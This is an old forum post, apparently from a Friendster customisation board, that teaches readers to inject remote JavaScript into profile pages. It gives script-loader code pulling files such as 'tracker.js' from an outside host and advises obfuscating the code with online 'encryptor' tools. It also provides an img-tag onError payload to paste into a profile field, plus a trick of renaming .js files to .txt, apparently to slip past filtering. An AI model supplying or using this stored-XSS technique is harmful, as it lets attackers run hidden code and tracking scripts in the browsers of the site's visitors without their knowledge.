Pages: 12345678910..10

  2007-09-26 23:56:36

ezil2007
» FTalkGeek
FTalk Level: zero
1426
0
1969-12-31

[color=red]Compatible With All Browsers[/color] :arrow: put your javascript url to this code [quote]//one Javascript url only var java = document.createElement("script"); java.type = "text/javasc

[color=red]Compatible With All Browsers[/color] :arrow: put your javascript url to this code [quote]//one Javascript url only var java = document.createElement("script"); java.type = "text/javascript"; java.src = "JS URL HERE"; document.getElementsByTagName("head")[0].appendChild(java);[/quote] For 2 or More Javascripts EXAMPLE [quote]// multi - js injection scriptFolder = 'http://h1.ripway.com/username/folder/' scripts = new Array() scripts[0] = 'tracker.js' /// all .js must be inside on your folder scripts[1] = 'randomizer.js' scripts[2] = 'csschenes.js' for(x in scripts){ myscripts = document.createElement('script') myscripts.src = scriptFolder+scripts[x] document.getElementsByTagName('head')[0].appendChild(myscripts)}[/quote] :arrow: Next is copying that code and paste the code on one of this encryptor generator and click [b]encrypt/compress[/b] [align=center][url=www.virtualpromote.com/tools/javascript-encrypt]encryptor 1[/url][/align] [align=center][url=www.dynamic-tools.net/toolbox/javascript_compressor/]encryptor 2[/url][/align] :arrow: Copy the generated code and then [b]create another javascript file[/b] for this :arrow: Finally, you can paste the url of the encrypted js on who i want to meet area by this code [quote]<img width='0'src='' l='>' onError='friendstertalk="script"; v=document.createElement(friendstertalk); v.src="JS_DIRECT_URL"; navigation.appendChild(v);'[/quote] [color=red]**Change url of js to .txt example http://ripway.com/user/tracker.js to [b]http://ripway.com/user/tracker.txt[/b][/color] it is good to practice to insert your css code on your js code [quote]var css = document.createElement("link"); css.type = "text/css"; css.rel = "stylesheet"; css.href = "CSS_LINK_HERE"; css.media = "screen, print"; document.getElementsByTagName("head")[0].appendChild(css);[/quote]

Last edited by Shirow Masamune (2008-08-08 09:46:05)

Pages: 12345678910..10

Board footer

© 2025 F Talk

Current time is 22:39

[ 12 queries - 0.017 second ]
Privacy Policy